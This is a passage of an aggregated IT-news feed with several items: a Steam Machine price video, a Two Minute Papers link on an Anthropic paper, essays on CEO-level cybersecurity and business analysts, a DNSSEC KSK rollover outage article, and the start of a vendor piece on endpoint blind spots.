<content:encoded><![CDATA[<p>Author: PC-WELT - Bewertung: 250x - Views:8464 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/RBkzw1zEXKk?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Wir müssen zurückrudern. 😅<br />
<br />
Wir haben die Steam Machine vor ein paar Wochen noch verteidigt, aber nach dem Preis-Leak wird’s schwierig.<br />
<br />
Die Idee bleibt stark: keine Online-Abos, günstige Steam-Spiele, Zugriff auf die eigene Steam-Bibliothek und Cloud-Saves zwischen PC und Konsole.<br />
<br />
Aber: Die Basis-Version soll 1039 € kosten. Für eine Konsole, die teils langsamer ist als eine deutlich günstigere PS5, ist das schwer zu rechtfertigen.<br />
<br />
Valve hat beim Preis unserer Meinung nach komplett übers Ziel hinausgeschossen.<br />
<br />
Was meint ihr: verkalkuliert oder trotzdem ein Erfolg? 👇<br />
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<title><![CDATA[Anthropic Found Something That Shouldn't Exist]]></title>
<description><![CDATA[Author: Two Minute Papers - Bewertung: 2820x - Views:65528 ❤️ Check out Lambda here and sign up for their GPU Cloud: https://lambda.ai/papers

📝 The paper is available here:
https://transformer-circuits.pub/2025/linebreaks/index.html

Paper for reindeer vision change - https://royalsocietypublish...]]></description>
<link>https://tsecurity.de/de/3693232/videos/anthropic-found-something-that-shouldnt-exist/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693232/videos/anthropic-found-something-that-shouldnt-exist/</guid>
<pubDate>Sat, 25 Jul 2026 08:35:53 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Two Minute Papers - Bewertung: 2820x - Views:65528 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/0CqLVnx-2UM?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>❤️ Check out Lambda here and sign up for their GPU Cloud: https://lambda.ai/papers<br />
<br />
📝 The paper is available here:<br />
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<br />
Paper for reindeer vision change - https://royalsocietypublishing.org/rspb/article/280/1773/20132451/50765/Shifting-mirrors-adaptive-changes-in-retinal<br />
<br />
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<title><![CDATA[3 cybersecurity issues that should keep every CEO awake at night]]></title>
<description><![CDATA[For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.



Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organization...]]></description>
<link>https://tsecurity.de/de/3693088/it-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</link>
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<pubDate>Sat, 25 Jul 2026 06:16:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.</p>



<p class="wp-block-paragraph">Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organizations continue to suffer major cyber incidents with alarming regularity. Every week seems to bring news of another ransomware attack, supply chain compromise or data breach affecting organizations that many would have assumed were well protected.</p>



<p class="wp-block-paragraph">The obvious conclusion is that we are asking the wrong questions.</p>



<p class="wp-block-paragraph">Too many executive teams remain preoccupied with the latest threat actor, the newest security product the CISO wants to buy or the latest vulnerability making headlines. Those issues matter, but they are not what should be keeping CEOs awake at night.</p>



<p class="wp-block-paragraph">In my view, there are three far more fundamental issues that deserve the attention of every chief executive.</p>



<h2 class="wp-block-heading">1. Corporate complexity, and the widening gap between business leadership and cybersecurity reality</h2>



<p class="wp-block-paragraph">Perhaps the biggest cybersecurity risk facing large organizations today is not technical at all.</p>



<p class="wp-block-paragraph">It is the growing disconnect between executive perception and operational reality.</p>



<p class="wp-block-paragraph">Many boards genuinely believe their organizations are reasonably well protected. They receive regular dashboards showing improving maturity scores, increasing compliance levels, falling vulnerability counts and reassuring traffic-light reports.</p>



<p class="wp-block-paragraph">Unfortunately, cyber attackers do not read dashboards.</p>



<p class="wp-block-paragraph">Behind those executive reports often lies an increasingly complex technology landscape, thousands of unmanaged digital assets, ageing infrastructure, rampant shadow IT, fragmented ownership, inconsistent governance and security teams struggling to keep pace with relentless business change.</p>



<p class="wp-block-paragraph">The problem is rarely a lack of effort.</p>



<p class="wp-block-paragraph">It is that corporate complexity has reached a level where traditional governance mechanisms are no longer capable of providing an accurate picture of organizational resilience.</p>



<p class="wp-block-paragraph">Executives believe they understand the level of cyber risk they face because they receive regular reports. Those reports often measure activity rather than resilience.</p>



<p class="wp-block-paragraph">Governance committees end up debating around another percentage point of phishing awareness or vulnerability remediation, while fundamental issues remain unaddressed in the background.</p>



<h2 class="wp-block-heading">2. Organizational inertia, and the need for executive structure to evolve faster</h2>



<p class="wp-block-paragraph">Cyber criminals continue to evolve rapidly. Large organizations generally do not.</p>



<p class="wp-block-paragraph">This is the second issue that should concern every CEO.</p>



<p class="wp-block-paragraph">Throughout my career, I have observed organizations repeatedly responding to new cyber threats by adding another technology platform, another monitoring capability, another compliance framework or another governance committee.</p>



<p class="wp-block-paragraph">Very rarely do they stop to redesign how cybersecurity operates.</p>



<p class="wp-block-paragraph">The result is what I described several years ago as the “<a href="https://www.amazon.com/Cybersecurity-Spiral-Failure-How-Break/dp/1637353057/">Cybersecurity Spiral of Failure</a>”.</p>



<ul class="wp-block-list">
<li>As complexity and regulation increase, organizations invest in more security products.</li>



<li>More products create more complexity.</li>



<li>More products and greater complexity generate more alerts.</li>



<li>More alerts require more analysts.</li>



<li>More analysts produce more reports.</li>



<li>More reports continue to build up executive confidence.</li>



<li>Meanwhile, the underlying structural weaknesses remain largely unchanged, technical debt piles up and costs escalate.</li>
</ul>



<p class="wp-block-paragraph">And when the inevitable breach eventually happens, reality reveals itself, but distrust also sets in between senior executives and security teams.</p>



<p class="wp-block-paragraph">This is not a funding problem. Nor is it a skills problem. It is fundamentally an operating model problem.</p>



<p class="wp-block-paragraph">Many organizations continue trying to solve twenty-first century challenges using governance, accountability, organizational and reporting structures designed twenty-five years ago.</p>



<p class="wp-block-paragraph">The cybersecurity function itself has evolved dramatically. Many executive structures have not.</p>



<p class="wp-block-paragraph">This organizational inertia extends beyond technology: It affects budgeting cycles, <a href="https://www.cio.com/article/4193990/reallocating-cybersecurity-capital-in-the-mythos-era.html">investment priorities</a>, procurement processes, accountability models and decision-making speed.</p>



<p class="wp-block-paragraph">Cyber attackers innovate every day. Organizational change often takes years.</p>



<p class="wp-block-paragraph">That imbalance should worry every CEO.</p>



<h2 class="wp-block-heading">3. Accelerating technological disruption, and how it challenges organizations in areas where they are intrinsically weak</h2>



<p class="wp-block-paragraph">The third issue is potentially the most significant over the coming decade.</p>



<ul class="wp-block-list">
<li>Artificial intelligence, autonomous agents and machine identities</li>



<li>Software supply chain complexity.</li>



<li>Quantum computing, and post-quantum cryptography</li>
</ul>



<p class="wp-block-paragraph">Each of these developments represents far more than another technical trend.</p>



<p class="wp-block-paragraph">Together, they fundamentally change the dynamics of cybersecurity.</p>



<p class="wp-block-paragraph">Artificial intelligence is transforming countless business processes. At the same time, it is also increasing both the speed and sophistication of cyber-attacks while simultaneously transforming defensive capabilities.</p>



<p class="wp-block-paragraph">Organizations have become increasingly dependent on software ecosystems that extend far beyond their own direct control. Engaging with the supply chain in ways that lead to a genuine appreciation of the risks involved has become a key challenge for most cybersecurity practices.</p>



<p class="wp-block-paragraph">Quantum computing may eventually invalidate much of today’s cryptographic algorithms, forcing organizations into one of the largest technology efforts since Y2K — but without the benefit of a fixed deadline and faced by a problem that is considerably more complex and hyperconnected IT estates that have little to do with those of the late 90s.</p>



<p class="wp-block-paragraph">None of these challenges can be solved overnight: They require clear governance, sustained investment over a few years and cross-functional organizational coordination.</p>



<p class="wp-block-paragraph">Most large organizations are weak on those three fronts: This is precisely why CEOs should be focusing on them now.</p>



<p class="wp-block-paragraph">Waiting until some of those risks become obvious will almost certainly be too late.</p>



<p class="wp-block-paragraph">Businesses naturally prioritise immediate commercial pressures. Cybersecurity often involves preparing for risks whose timing remains uncertain.</p>



<p class="wp-block-paragraph">But one of the greatest leadership failures I keep seeing remains the inability of organizations to act decisively on known unknowns.</p>



<p class="wp-block-paragraph">That tension explains why many organizations delay action until external events force them to respond. Unfortunately, cybersecurity rarely rewards late action.</p>



<h2 class="wp-block-heading">Leadership will determine who succeeds</h2>



<p class="wp-block-paragraph">Cybersecurity discussions still frequently focus on technology. I believe they should focus far more on leadership.</p>



<p class="wp-block-paragraph">Technology will continue evolving. Threat actors will continue adapting. Regulations will continue expanding. Those developments are inevitable.</p>



<p class="wp-block-paragraph">What remains within the control of every CEO is how their organization responds.</p>



<p class="wp-block-paragraph">Does cybersecurity remain an IT issue? Or is it recognised as an integral part of business resilience?</p>



<p class="wp-block-paragraph">How is cybersecurity accountability assigned at executive level? Or does it still rest largely with a CISO hidden in the organization?</p>



<p class="wp-block-paragraph">Does the board spend sufficient time discussing resilience? Or does cybersecurity appear only when approving budgets or reviewing incidents?</p>



<p class="wp-block-paragraph">These questions will increasingly determine organizational success.</p>



<p class="wp-block-paragraph">The companies that navigate the next decade successfully will not necessarily be those spending the most on cybersecurity. Nor will they be those deploying the latest security technologies first.</p>



<p class="wp-block-paragraph">They will be the organizations whose leadership recognises that cybersecurity has become a permanent business capability — embedded into governance, strategy, operational decision-making and organizational culture.</p>



<p class="wp-block-paragraph">That transformation cannot be delegated. It begins with the CEO.</p>



<p class="wp-block-paragraph">And perhaps that is the single biggest issue that should keep every chief executive awake at night: Not when the next cyber-attack will happen, but whether their organization is evolving quickly enough on those matters to meet a threat landscape that is changing much faster than the business itself.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[What is a business analyst? A key role for business-IT efficiency]]></title>
<description><![CDATA[What is a business analyst?



Business analysts (BAs) are responsible for bridging the gap between IT and the business using data analytics to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.



BAs engage with business...]]></description>
<link>https://tsecurity.de/de/3693087/it-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693087/it-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</guid>
<pubDate>Sat, 25 Jul 2026 06:16:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<h2 class="wp-block-heading">What is a business analyst?</h2>



<p class="wp-block-paragraph">Business analysts (BAs) are responsible for bridging the gap between IT and the business using <a href="https://www.cio.com/article/191313/what-is-data-analytics-analyzing-and-managing-data-for-decisions.html">data analytics</a> to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.</p>



<p class="wp-block-paragraph">BAs engage with business leaders and users to understand how data-driven changes to process, products, services, software, and hardware can improve efficiencies and add value. They must articulate those ideas but also balance them against what’s technologically feasible and financially and functionally reasonable. Depending on the role, a business analyst might work with data sets to improve products, hardware, tools, software, services, or process.</p>



<p class="wp-block-paragraph">The International Institute of Business Analysis (IIBA), a nonprofit professional association, considers the business analyst an agent of change, and says that <a href="https://www.cio.com/article/191157/what-is-business-analytics-using-data-to-predict-business-outcomes.html">business analysis</a> is a disciplined approach to introduce and manage change to organizations, whether they’re for-profit businesses, governments, or nonprofits.</p>



<h2 class="wp-block-heading">Impact of AI on business analyst role</h2>



<p class="wp-block-paragraph">As AI becomes commonplace in the tech industry, business analysts are embracing it as a tool to automate repetitive work in the role. AI tools can be used for workflow and diagramming, process mapping, data analysis, and to automate meeting minutes and transcribe meetings where requirements are established, all designed to speed up the process of analyzing data, creating visuals, and transcribing and writing user stories and acceptance criteria.</p>



<p class="wp-block-paragraph">AI tools can also help identify patterns, insights, and unique data points that might go unnoticed by humans, and allow a faster time to generate insights for organizations.</p>



<p class="wp-block-paragraph">Of course, as with all AI tools, they still require humans to oversee prompts, scripting, and evaluate AI outputs to ensure they’re accurate and valid. While they can’t replace the work of BAs, AI can help them spend more time on thoughtful analysis and decision making, rather than mundane tasks such as gathering and summarizing data, and querying.</p>



<h2 class="wp-block-heading">Business analyst job description</h2>



<p class="wp-block-paragraph">BAs are responsible for creating new models that support business decisions by working closely with finance and IT teams to establish initiatives and strategies aimed at improving revenue and optimizing costs. They need a strong understanding of regulatory and reporting requirements, and have plenty of experience in forecasting, budgeting, and financial analysis combined with knowing KPIs, according to Robert Half Technology.</p>



<p class="wp-block-paragraph">According to Robert Half, a BA’s job description typically includes budgeting and forecasting, planning and monitoring, variance analysis, pricing, reporting, and creating a detailed business analysis in an effort to outline problems, opportunities, and solutions for a business. It also says BAs should be able to define business requirements and report them back to stakeholders.</p>



<p class="wp-block-paragraph">Since BAs are tasked with prioritizing technical and functional requirements, identifying what clients want, and determining what’s feasible to deliver, the role requires a deep understanding of systems, how they function, who’ll need to be involved, and the necessary steps to get everyone on board.  </p>



<p class="wp-block-paragraph">The role is constantly evolving, especially as companies rely more on data to advise business operations. Every company has different issues that a business analyst can address, whether it’s dealing with outdated legacy systems, changing technologies, broken processes, poor client or customer satisfaction, or large, siloed organizations.</p>



<h2 class="wp-block-heading">Business analyst skills</h2>



<p class="wp-block-paragraph">The BA position requires both hard and soft skills, as they need to know how to pull, analyze, and report data trends, share that information with others, and apply it to business goals and needs.</p>



<p class="wp-block-paragraph">Not all BAs need a background in IT if they have a general understanding of how systems, products, and tools work. Alternatively, some have strong IT backgrounds and less experience in business, but are interested in shifting away from IT into this hybrid role, which often acts as a communicator between the business and IT sides of the organization. So having extensive experience in either area can be beneficial for BAs.</p>



<p class="wp-block-paragraph"><a href="https://www.iiba.org/career-resources/new-to-business-analysis/" target="_blank" rel="noreferrer noopener">According to the IIBA</a>, some of the most important skills and experience for a business analyst are:</p>



<ul class="wp-block-list">
<li>Oral and written communication skills</li>



<li>Interpersonal, organizational, facilitation, and consultative skills</li>



<li>Analytical thinking and problem solving</li>



<li>Being detail-oriented and able to deliver a high level of accuracy</li>



<li>Knowledge of business structure</li>



<li>Stakeholder and cost-benefit analysis</li>



<li>Processes modeling</li>



<li>Understanding networks, databases, and other technologies</li>
</ul>



<p class="wp-block-paragraph">For a more in-depth look at what it takes to succeed as a business analyst, click <a href="https://www.cio.com/article/189108/essential-traits-of-elite-business-analysts.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst salary</h2>



<p class="wp-block-paragraph">The average annual salary for an IT business analyst is $80,692, according to <a href="https://www.payscale.com/research/US/Job=Business_Analyst%2C_IT/Salary" target="_blank" rel="noreferrer noopener">data from PayScale</a>. The highest paid BAs are in New York, where the average salary is 14% higher than the national average. Dallas, Texas, is second, with reported salaries 6.4% higher than the national average, closely followed by Washington, D.C., where salaries are 6.3% higher than the national average.</p>



<p class="wp-block-paragraph">Some skills are in higher demand than others, with the potential to boost salary. According to Payscale, these are associated with higher BA salaries. These skills, and the amount they can boost your salary, include:</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td>Skills</td><td>Salary Boost</td></tr><tr><td>ScrumMaster</td><td>44%</td></tr><tr><td>Microsoft Azure</td><td>30%</td></tr><tr><td>Supply Chain</td><td>27%</td></tr><tr><td>Oracle eBusiness Suite</td><td>25%</td></tr><tr><td>Master Data Management (SAP MDM)</td><td>24%</td></tr><tr><td>SAP Sales and Distribution (SAP SD)</td><td>24%</td></tr><tr><td>Product Support</td><td>18%</td></tr><tr><td>Microsoft Dynamics GP</td><td>18%</td></tr><tr><td>SAP Quality Management (SAP QM)</td><td>18%</td></tr><tr><td>Workday Software</td><td>15%</td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph">For tips on boosting your salary, click <a href="https://www.cio.com/article/189510/7-steps-business-analysts-can-take-to-earn-more.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst certifications</h2>



<p class="wp-block-paragraph">Although business analysis is a relatively new discipline in IT, a handful of organizations already offer certifications to help boost your résumé and prove your merit as an analyst. Organizations such as the IIBA, IQBBA, IREB, and PMI each offer their own tailored certifications for business analysis. These include:</p>



<ul class="wp-block-list">
<li>IIBA <a href="https://www.cio.com/article/189169/ecba-certification-an-entry-level-credential-for-business-analysts.html">Entry Certificate in Business Analysis (ECBA)</a></li>



<li>IIBA Certification of Competency in Business Analysis (CCBA)</li>



<li>IIBA Certified Business Analysis Professional (CBAP)</li>



<li>IIBA Agile Analysis Certification (AAC)</li>



<li>IQBBA Certified Foundation Level Business Analyst (CFLBA)</li>



<li>IREB Certified Professional for Requirements Engineering (CPRE)</li>



<li>PMI Professional in Business Analysis (PBA)</li>



<li>Certified Analytics Professional (CAP)</li>
</ul>



<p class="wp-block-paragraph">For more information about how to earn one of these certifications — and how much they cost — click <a href="https://www.cio.com/article/228834/6-business-analyst-certifications-to-advance-your-analytics-career.html">here</a>.</p>



<h2 class="wp-block-heading">Business analytics tools and software</h2>



<p class="wp-block-paragraph">BAs typically rely on software such as Microsoft’s Excel, PowerPoint, and Access, as well as SQL, Google Analytics, and Tableau. These tools help BAs collect and sort data, create graphs, write documents, and design visualizations to explain findings. You won’t necessarily need programming or database skills for a BA position, but if you already have these skills, they won’t hurt. The type of software and tools you’ll need to use, however, will depend on your job title and what the organization requires.</p>
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<title><![CDATA[CIOs beware: DNS KSK rollover could kick off wave of mysterious outages]]></title>
<description><![CDATA[Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.



That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely...]]></description>
<link>https://tsecurity.de/de/3693085/it-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693085/it-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</guid>
<pubDate>Sat, 25 Jul 2026 06:16:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.</p>



<p class="wp-block-paragraph">That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely to deliver a series of seemingly unrelated system outages. This will come from oceans of dependencies from third-party, shadow, agentic, gen AI, SaaS, homegrown, and legacy apps — among many other quiet executable hiding spots, including virtual environments and containers.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/joshithak/">Sai Joshitha Kathari</a>, senior site reliability engineer at payment card giant Visa, says most enterprises have far more DNS-related exposure than they realize because of these many dependencies.</p>



<p class="wp-block-paragraph">“This has the potential to create real downstream destruction when unresolved failures sit underneath important business functions,” Kathari says. </p>



<p class="wp-block-paragraph">The danger is that so many of these issues are either unknown to IT or handled by a third-party vendor and no one in IT has had reason to ask those vendors about DNS updates. </p>



<p class="wp-block-paragraph">“The risky areas are usually not the obvious managed DNS services. They are the older internal applications, hardcoded resolvers, containerized workloads, sidecar configurations, custom scripts, partner integrations, VM images, stale base images, and service-to-service dependencies that nobody has touched in a long time,” Kathari explains. “These systems can keep working quietly for years, then fail during a DNS or certificate-related change because they bypassed the normal platform standards.”</p>



<p class="wp-block-paragraph">Independent technology analyst <a href="https://www.linkedin.com/in/carmi/">Carmi Levy</a> says that CIOs need to take this event very seriously. </p>



<p class="wp-block-paragraph">“The two-pronged deadline — October 11, 2026, when the new Key Signing Key (KSK) begins signing the root zone, and January 11, 2027, when the old key is retired — should be marked in red on everyone’s calendar, just as December 31, 1999, once was,” Levy says. “Failure to comply could result in websites, critical business applications, and related resources dropping off the face of the Earth once the transition is complete.”</p>



<p class="wp-block-paragraph">Levy adds: “Custom-built code that lives outside conventional support mechanisms may or may not function when the DNS changes go into effect.”</p>



<p class="wp-block-paragraph">The <a href="https://www.icann.org/resources/press-material/release-2026-05-20-en">DNSSEC update itself</a> is straightforward, but it is also the first significant DNSSEC change — specifically a change in the trust anchor — since 2018. </p>



<p class="wp-block-paragraph">The rollout statement noted that “the trust anchor is formally known as the Domain Name System Security Extensions (DNSSEC) root zone Key Signing Key (KSK). The KSK is the cryptographic key at the core of the DNSSEC trust anchor and is used to verify that DNS responses are legitimate and have not been modified in transit.”</p>



<h2 class="wp-block-heading">Expect nearly every enterprise to be impacted</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/kimdavies/">Kim Davies</a>, vice president of IANA Services and president of public technical identifiers at ICANN, says the extent of the impact on enterprises is unknowable, given the nature of shadow IT and other edge cases. </p>



<p class="wp-block-paragraph">But based on the massive number of dependencies both known and unknown in the typical global enterprise, Davies guesses that just about every enterprise will be impacted, to varying degrees. </p>



<p class="wp-block-paragraph">“In highly complex organizations, it is very likely there will be some impact in the corners, in the margins, of the organization,” Davies tells CIO. “DNS is such a core technology that underpins everything.”</p>



<p class="wp-block-paragraph">As the updates propagate, hiccups will materialize, Davies notes. “When the system cannot validate the [DNS] information, it will treat it as suspect and DNS lookups will fail.”</p>



<p class="wp-block-paragraph">Visa’s Kathari says, “Enterprises should expect some secondary DNS-related glitches when major DNSSEC-related changes happen, not necessarily because the core infrastructure teams will ignore the update, but because large environments have many hidden dependency paths.”</p>



<p class="wp-block-paragraph">Making this problem far worse, Kathari notes, is that the glitches will likely initially look like anything other thana DNS glitch. That will force IT staff to waste a vast number of hours chasing causes that ultimately prove to be unrelated to the incidents. </p>



<p class="wp-block-paragraph">“The impact for CIOs is that DNS failures rarely announce themselves as DNS failures. They look like application timeouts, broken logins, failed API calls, queue lag, payment failures, partner connectivity issues, or random regional instability,” Kathari explains. “That makes troubleshooting slower because teams may spend hours looking at the application, database, network, or cloud provider before realizing name resolution is part of the failure path.”</p>



<p class="wp-block-paragraph"><a href="https://greyhoundresearch.com/svg/">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research, agrees that IT will likely spin its wheels chasing the wrong ghosts.</p>



<p class="wp-block-paragraph">“A validation failure rarely stays in its lane. It surfaces as an application error, an API timeout, or a reachability problem, which turns a resolver fault into a coordination failure,” Gogia says. “The application team blames the network, the network team blames the cloud, and the user simply watches work stop.”</p>



<p class="wp-block-paragraph">“Images and templates are the frontier most teams miss,” Gogia adds. “A resolver fixed in summer can be broken again in October the instant a stale golden image is redeployed, because automation no longer lets configuration drift slowly. It restores yesterday’s assumptions at machine speed.”</p>



<p class="wp-block-paragraph">It is widely expected that enterprises will not have any problems executing the change or, more likely, relying on their hyperscalers to properly handle the change. That is the concern. </p>



<p class="wp-block-paragraph">“CIOs are being distracted so much with AI and this is such a deep in the weeds infrastructure issue that this can and willcatch people off-guard,” <a href="https://acceligence.com/talent/profiles/justin-greis/">Justin Greis</a>, CEO of consulting firm Acceligence, tells CIO. “I think we’ll see a meaningful number of enterprise disruptions associated with the DNSSEC trust anchor rollover. Not because the update itself is especially difficult, but because it will expose weaknesses that already exist inside many organizations.”</p>



<p class="wp-block-paragraph">Most enterprise IT operations have had no reason to compile a comprehensive list of all DNS dependencies, but many will be instantly discovered in January. </p>



<h2 class="wp-block-heading">Potentially widespread fallout</h2>



<p class="wp-block-paragraph">A major retailer, for example, might suddenly be unable to connect with FedEx to arrange for deliveries or a hospital may find that test results are no longer being shared with patient portals. It might manifest as an assembly line that halts because an IIoT component can no longer share files with its vendor system or a truck fleet that stops being tracked. </p>



<p class="wp-block-paragraph">“There will almost certainly be systems that fall through the cracks. Some will be legacy applications that rely on outdated DNS configurations that have not been updated in years,” Greis says. “Others will be business-unit-developed tools, contractor-built solutions, embedded systems, manufacturing and industrial systems, or highly customized workloads that operate outside normal IT oversight. These are the types of systems that often surface during infrastructure events like this.”</p>



<p class="wp-block-paragraph">Greis adds that many enterprises will discover in January problems created by their own automation.</p>



<p class="wp-block-paragraph">“Over time, enterprises build layers of processes, templates, and deployment mechanisms that are reused across teams and environments,” Greis notes. “Even after DNS infrastructure is updated correctly, older settings can inadvertently be reintroduced through routine updates and system changes, creating intermittent and difficult-to-diagnose failures.”</p>



<p class="wp-block-paragraph">The good news from this situation is that enterprises are not going to likely lose all DNS access if any of these glitches occur. But that may be of no comfort because even if the disruptions are only with small edge cases, that can still cause massive operational disruptions.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/cricketliu/">Cricket Liu</a>, EVP and chief evangelist at Infoblox, gives the example of a DNS server that responds to factory-floor system queries.</p>



<p class="wp-block-paragraph">“Or let’s say this disrupts [an enterprise’s key] SaaS application. All name resolution may stop and it will show a server failure. It will not deliver a response whenever I look anything up. That’s not subtle at all,” Liu says. “It’s highly likely that companies are going to see some effects.”</p>



<p class="wp-block-paragraph">Back in 2017, the switchover was relatively uneventful, giving some CIOs hope that January 2027 will also be a non-event. But given the technology advancements in the last 10 years and the resulting tidal wave of new enterprise tech dependencies, few are realistically expecting no problems this go around. </p>



<h2 class="wp-block-heading">Impossible to predict what will happen</h2>



<p class="wp-block-paragraph">One of the top network experts on DNS effects in enterprises is <a href="https://blog.apnic.net/author/geoff-huston/">Geoff Huston</a>, chief scientist at the Asia Pacific Network Information Centre (APNIC), the regional Internet Registry administering IP addresses for the Asia Pacific region.</p>



<p class="wp-block-paragraph">Huston says it is difficult to project what will happen in January until it happens.</p>



<p class="wp-block-paragraph">“Just like the last time, we are flying blind with this key roll. Because nothing really terrible happened last time, there is some confidence that nothing terrible will happen this time, but we just can’t tell in advance as there are no good measurement approaches that allow us to peek inside the trust state of recursive resolvers,” he says.</p>



<p class="wp-block-paragraph">As for potential edge-case glitches, Huston says it is possible, but if third-party vendors do not properly handle the update, there will be other issues as well, as the KSK cryptographic key used within DNSSEC signs and validates the keys that protect DNS records. </p>



<p class="wp-block-paragraph">“If it is not standards-compliant, then you have more problems than just the KSK roll,” Huston says, “as it raises the obvious question of ‘What else is not correctly implemented in the DNS resolver that I’m running?’”</p>



<p class="wp-block-paragraph">As a silver lining, Acceligence’s Greis says any hiccups that result from the DNS KSK update may be a gift in disguise for CIOs. </p>



<p class="wp-block-paragraph">“The irony is that some of the most business-critical components in the technology stack are often the least visible because they work in the background,” Greis says. January “may reveal how much modern business resilience depends on infrastructure that many organizations rarely examine until something breaks. For CIOs, that’s the real lesson. This is not fundamentally a story about a DNS update. It is a story about operational visibility, resilience, and governance. Organizations that treat the rollover as a routine infrastructure task will likely complete the update and move on. Organizations that use it as an opportunity to understand and strengthen the foundations of their technology environment may gain far more value than simply avoiding an outage.”</p>
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<title><![CDATA[5 endpoint blind spots your EDR/XDR was never built to see]]></title>
<description><![CDATA[In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.



That was enough. Over 86,000 downloads. Malicious code in PhantomRaven, packages running in the production systems of Fort...]]></description>
<link>https://tsecurity.de/de/3692679/it-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692679/it-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</guid>
<pubDate>Sat, 25 Jul 2026 00:18:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.</p>



<p class="wp-block-paragraph">That was enough. Over 86,000 downloads. Malicious code in <a href="https://www.koi.ai/blog/phantomraven-npm-malware-hidden-in-invisible-dependencies" target="_blank" rel="noreferrer noopener">PhantomRaven</a>, packages running in the production systems of Fortune 500 companies worldwide. And throughout the entire window, not a single EDR/XDR alert.</p>



<p class="wp-block-paragraph">This happened because the attack surface has expanded to a layer EDR/XDR was never designed to see: VS Code extensions, local MCP servers, and rogue AI coding assistants that inherit your engineers’ valid credentials to steal data at machine speed.</p>



<p class="wp-block-paragraph">To eliminate this structural vulnerability, Palo Alto Networks acquired Koi, an AI-native developer security product engineered for proactive, precision enforcement. Below we compiled a 2026 CISO checklist you can use to audit your environment and see how Koi automates each defense from day one.</p>



<p class="wp-block-paragraph"><strong>#1. Gain real-time visibility into shadow AI &amp; extensions</strong></p>



<p class="wp-block-paragraph">Your existing asset management tracks binaries and installers, but it cannot see local VS Code extensions, MCP servers, or ad-hoc Python scripts running on developer endpoints. This visibility gap was recently exposed by the <a href="https://www.koi.ai/blog/maliciouscorgi-the-cute-looking-ai-extensions-leaking-code-from-1-5-million-developers" target="_blank" rel="noreferrer noopener">MaliciousCorgi campaign</a>, where two marketplace extensions with 1.5 million combined installs silently harvested every file a developer opened. Neither triggered any detection because they were not binaries, not executables, not anything your inventory was built to flag. To counter this, Koi closes the gap by analyzing what extensions actually do after installation, exposing hidden data-harvesting channels running inside your active workspace.</p>



<p class="wp-block-paragraph"><strong>#2. Distinguish between human and autonomous agent behavior </strong></p>



<p class="wp-block-paragraph">When a rogue AI agent exfiltrates your proprietary source code, it uses a developer’s valid credentials during normal working hours, making the session look entirely legitimate to standard XDR baselines. Moving beyond static permission lists, Koi deploys behavioral profiling within the workspace runtime. By actively intercepting unauthenticated background tasks and blocking unauthorized file-system reads, it stops automated data exfiltration in real time.</p>



<p class="wp-block-paragraph"><strong>#3. Establish guardrails for automated package updates on endpoints</strong></p>



